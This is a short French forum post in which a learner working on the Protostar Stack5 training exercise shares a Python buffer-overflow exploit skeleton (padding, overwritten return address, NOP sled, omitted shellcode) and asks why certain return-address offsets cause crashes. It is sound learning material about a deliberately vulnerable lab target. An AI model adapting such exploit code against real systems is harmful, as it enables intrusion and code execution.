0x0 OS : systèmes d’exploitation

samedi 12 octobre 2019, 11:36  #1
Illegal instruction buffer overflow
LeDeutsch
  • 4 posts

Salut !
Je m’amuse sur Protostar, sur le Stack5 précisément (https://exploit.education/protostar/stack-five/) mais je rencontre une interrogation. J’ai mis en place un code python pour faire un buffer overflow :

import struct

pad = "A" * 76
eip = struct.pack("I", 0xbffff7b0+8)
shellcode = "shellcode trop long pour le copier"
nop = "\x90" * 100
print pad + eip + nop + shellcode

Dans ce cas là tout fonctionne mais quand je change eip = struct.pack("I", 0xbffff7b0+8) en eip = struct.pack("I", 0xbffff7b0+4) ou une autre valeur que 4 ou 8, et bien des fois ça fonctionne, d’autres fois ça me mets un Illegal instruction ou un floating point exception.

Faut-il obligatoirement que la valeur soit 8 ou 16 ou 32 ou etc ... ? Qu’est-ce qui provoque ça ?

Merci ! :)